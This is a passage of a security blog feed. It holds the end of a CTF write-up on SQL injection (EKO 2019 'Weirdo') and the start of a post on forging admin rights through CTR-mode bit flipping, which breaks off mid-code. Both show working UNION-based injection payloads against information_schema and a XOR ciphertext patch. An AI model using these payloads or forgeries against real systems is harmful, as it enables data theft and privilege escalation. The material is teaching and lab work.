    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;chunk&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;network&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;chunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;chunk&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isprintable&lt;/span&gt;&lt;span class="p"&gt;()])&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The response is also a AMF message that we treat it as a binary blob.&lt;/p&gt;
&lt;p&gt;For this reason we arbitrary split the response in chunks and we filter out any non-printable char.&lt;/p&gt;
&lt;p&gt;And &lt;em&gt;voila!&lt;/em&gt; With &lt;code&gt;post&lt;/code&gt; we can submit arbitrary queries and see their responses.&lt;/p&gt;
&lt;h3 id="prologue-and-epilogue"&gt;Prologue and Epilogue&lt;/h3&gt;
&lt;p&gt;We know that we are injecting in the middle of a SQL query but we don’t know &lt;em&gt;where&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We may be injecting here&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select ??? from ??? where ???=&amp;#39;&amp;lt;here&amp;gt;&amp;#39; ;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;but we may be injected here:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select ??? from ??? where ??? in (select ??? from ??? where ???=&amp;#39;&amp;lt;here&amp;gt;&amp;#39; ???);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The possibilities are infinite.&lt;/p&gt;
&lt;p&gt;If we &lt;em&gt;assume&lt;/em&gt; the first case, we could try this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a &lt;em&gt;prologue&lt;/em&gt; of &lt;code&gt;'&lt;/code&gt; to close the left side of the query&lt;/li&gt;
&lt;li&gt;a &lt;em&gt;epilogue&lt;/em&gt; of &lt;code&gt;; --&lt;/code&gt; to close the statement and ignore anything on the right.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;; --&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The idea is that we transform the &lt;em&gt;host&lt;/em&gt; query&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select ??? from ??? where ???=&amp;#39;&amp;lt;here&amp;gt;&amp;#39;;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;into this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select ??? from ??? where ???=&amp;#39;&amp;#39;; --&amp;#39;;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But we were wrong. It failed.&lt;/p&gt;
&lt;p&gt;Perhaps we are in the wrong spot, perhaps one of our injected characters were filtered or our prologue and/or epilogue is wrong.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;--&lt;/code&gt; begins a comment. Each SQL engine has its own. The &lt;code&gt;--&lt;/code&gt; works in Oracle and under &lt;em&gt;some&lt;/em&gt; conditions in MySQL.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;#&lt;/code&gt; works only in MySQL without any condition so we could try that:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;; #&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code&gt;select ??? from ??? where ???=&amp;#39;&amp;#39;; #&amp;#39;;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And it worked! And we learnt that the database is a MySQL for free.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.sqlinjection.net/comments/"&gt;Ref&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="deducing-the-host-query-structure"&gt;Deducing the Host Query Structure&lt;/h3&gt;
&lt;p&gt;Under the hypothetical host query:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select ??? from ??? where ???=&amp;#39;&amp;lt;here&amp;gt;&amp;#39;;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We could learn how many &lt;em&gt;columns&lt;/em&gt; is using the &lt;code&gt;select&lt;/code&gt; making the query to order the results by the, let’s say, the 10th column.&lt;/p&gt;
&lt;p&gt;If it fails we now that it has less than 10 columns.&lt;/p&gt;
&lt;p&gt;After some binary search, we learn that it has 5 columns:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39; order by 5 ;#&amp;quot;&lt;/span&gt;    &lt;span class="c1"&gt;# 5 columns&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code&gt;select c1, c2, c3, c4, c5 from ??? where ???=&amp;#39;&amp;#39; order by 5 ; #&amp;#39;;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can experiment further with:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39; union select 99, 98, 97, 96, 95 from information_schema.tables ;#&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code&gt;select ??? from ??? where ???=&amp;#39;&amp;#39; union select 99, 98, 97, 96, 95 from information_schema.tables ;#&amp;#39;;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This also validates that the database engine is a MySQL (&lt;code&gt;information_schema&lt;/code&gt; is MySQL specific) and that we can &lt;em&gt;union&lt;/em&gt; the results.&lt;/p&gt;
&lt;p&gt;The last confirms that the host query is just a &lt;code&gt;select&lt;/code&gt; and we are injecting in the &lt;code&gt;where&lt;/code&gt; clause.&lt;/p&gt;
&lt;h3 id="information-gathering"&gt;Information Gathering&lt;/h3&gt;
&lt;p&gt;With this we can learn what other tables are in the database:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39; and 1=0 union select 99, table_name, 97, 96, 95 from information_schema.tables ;#&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code&gt;select ??? from ??? where ???=&amp;#39;&amp;#39; and 1=0 union select 99, table_name, 97, 96, 95 from information_schema.tables ;#&amp;#39;;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And with this one we can learn what columns has the table &lt;code&gt;secret&lt;/code&gt;, table that found with the previous query and it has a interesting name.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39; and 1=0 union select 99, column_name, 97, 96, 95 from information_schema.columns where table_name=&amp;#39;secret&amp;#39; ;#&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code&gt;select ??? from ??? where ???=&amp;#39;&amp;#39; and 1=0 union select 99, column_name, 97, 96, 95 from information_schema.columns where table_name=&amp;#39;secret&amp;#39; ;#&amp;#39;;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In both cases the &lt;code&gt;and 1=0&lt;/code&gt; makes the &lt;em&gt;host&lt;/em&gt; query to produce zero results and it makes the output much cleaner.&lt;/p&gt;
&lt;h3 id="profit"&gt;Profit!&lt;/h3&gt;
&lt;p&gt;Finally:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39; and 1=0 union 99, secret, 97, 96, 95 FROM secrets ;#&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;EKO&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code&gt;select ??? from ??? where ???=&amp;#39;&amp;#39; and 1=0 union 99, secret, 97, 96, 95 FROM secrets ;#&amp;#39;;&lt;/code&gt;&lt;/pre&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/09/29/Writeup-EKO2019-Weirdo.html" rel="alternate" type="text/html" title="Weirdo (SQLi writeup - EKO 2019)"/>
    <category term="challenge" label="challenge"/>
    <category term="eko" label="eko"/>
    <category term="sql" label="sql"/>
    <category term="hacking" label="hacking"/>
    <published>2019-09-29T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/08/22/CTR-Bitfliping.html</id>
    <title>CTR Bitflipping</title>
    <updated>2019-08-22T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;No much to explain: encryption &lt;strong&gt;does not&lt;/strong&gt; offer any protection against forgery.&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We saw this in the &lt;a href="/articles/2018/07/03/CBC-Bitflipping.html"&gt;CBC Bitflipping post&lt;/a&gt; and we will see it again here but this time it will be the CTR encryption mode our victim.&lt;!--more--&gt;&lt;/p&gt;
&lt;!--
&gt;&gt;&gt; from cryptonita import B, load_bytes     # byexample: +timeout=10

&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path.append("./posts/matasano/assets")
&gt;&gt;&gt; from challenge import generate_config, enc_ctr, dec_ctr  # byexample: +timeout=10

&gt;&gt;&gt; seed = 20190822   # make the tests 'random' but deterministic
&gt;&gt;&gt; block_size = 16     # leave this fixed, it is what happen in practice
--&gt;
&lt;h3 id="setup"&gt;Setup&lt;/h3&gt;
&lt;p&gt;Recall from &lt;a href="/articles/2018/07/03/CBC-Bitflipping.html"&gt;CBC Bitflipping post&lt;/a&gt; the scenario where we have a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;add_user_data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function that adds arbitrary data to users’ profiles:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generate_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random_state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;enc_mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ctr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;comment1=cooking%20MCs;userdata=&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;posfix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;;comment2=&lt;/span&gt;&lt;span class="si"&gt;%20li&lt;/span&gt;&lt;span class="s2"&gt;ke&lt;/span&gt;&lt;span class="si"&gt;%20a&lt;/span&gt;&lt;span class="s2"&gt;%20pound&lt;/span&gt;&lt;span class="si"&gt;%20o&lt;/span&gt;&lt;span class="s2"&gt;f%20bacon&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;add_user_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;;&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;=&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;posfix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;enc_ctr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On the server side there is a function that checks for admin role:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dec_ctr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;admin=true&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We control the user’s data (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;userdata&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; field) but we cannot control the entire profile.&lt;/p&gt;
&lt;p&gt;In particular, we cannot say that we have the administration role adding &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='CldlbGwuLi4gdGVjaG5pY2FsbHkgdGhlIGNoZWNrIGluIGBhZGRfdXNlcl9kYXRhYCBpcyBtYWRlIHdpdGggYW4KYGFzc2VydGAuCgpJbiBQeXRob24gdGhlc2UgYXNzZXJ0cyBhcmUgKipyZW1vdmVkKiogaWYgdGhlIGNvZGUgaXMgZXhlY3V0ZWQgd2l0aCB0aGUKb3B0aW1pemF0aW9uIGZsYWcgc28gaWYgdGhlIGBhZGRfdXNlcl9kYXRhYCBydW5zIHdpdGggdGhlIGZsYWcgb24gd2UKY291bGQgaW5qZWN0IGFueXRoaW5nLgoKU28gZG8gbm90IHVzZSBgYXNzZXJ0YCBmb3IgYW55IHJlYWwgY2hlY2suCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldlbGwuLi4gdGVjaG5pY2FsbHkgdGhlIGNoZWNrIGluIGBhZGRfdXNlcl9kYXRhYCBpcyBtYWRlIHdpdGggYW4KYGFzc2VydGAuCgpJbiBQeXRob24gdGhlc2UgYXNzZXJ0cyBhcmUgKipyZW1vdmVkKiogaWYgdGhlIGNvZGUgaXMgZXhlY3V0ZWQgd2l0aCB0aGUKb3B0aW1pemF0aW9uIGZsYWcgc28gaWYgdGhlIGBhZGRfdXNlcl9kYXRhYCBydW5zIHdpdGggdGhlIGZsYWcgb24gd2UKY291bGQgaW5qZWN0IGFueXRoaW5nLgoKU28gZG8gbm90IHVzZSBgYXNzZXJ0YCBmb3IgYW55IHJlYWwgY2hlY2suCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Well… technically the check in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;add_user_data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is made with an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;assert&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;br /&gt;&lt;br /&gt;
In Python these asserts are &lt;strong&gt;removed&lt;/strong&gt; if the code is executed with the optimization flag so if the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;add_user_data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; runs with the flag on we could inject anything.
&lt;br /&gt;&lt;br /&gt;
So do not use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;assert&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for any real check.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;So, no, we cannot do this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;add_user_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;somedata;admin=true&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="ne"&gt;AssertionError&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="bit-flipping"&gt;Bit flipping&lt;/h2&gt;
&lt;p&gt;In &lt;a href="/articles/2018/07/03/CBC-Bitflipping.html"&gt;CBC Bitflipping post&lt;/a&gt; we saw that CBC does not offer any protection against forgery and how to break it.&lt;/p&gt;
&lt;p&gt;In this post we will do the same but attacking the CTR mode.&lt;/p&gt;
&lt;p&gt;First we will create our &lt;em&gt;target&lt;/em&gt; plaintext and a &lt;em&gt;padding&lt;/em&gt; plaintext. The former is the plaintext that we &lt;em&gt;want&lt;/em&gt; to inject and the latter is the one that we are &lt;em&gt;allowed&lt;/em&gt; to inject.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;admin=true;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;A&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then we create our profile:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ctext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;add_user_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, because CTR turns a block cipher into a stream cipher using &lt;em&gt;xor&lt;/em&gt;, we can &lt;em&gt;patch it&lt;/em&gt; trivially:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The only catch is that we don’t know &lt;em&gt;where&lt;/em&gt; our padding is located so we don’t know where to patch.&lt;/p&gt;
&lt;p&gt;For this we can use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;is_admin&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as an &lt;em&gt;oracle&lt;/em&gt; function, trying each position and knowing the correct one only when we get &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
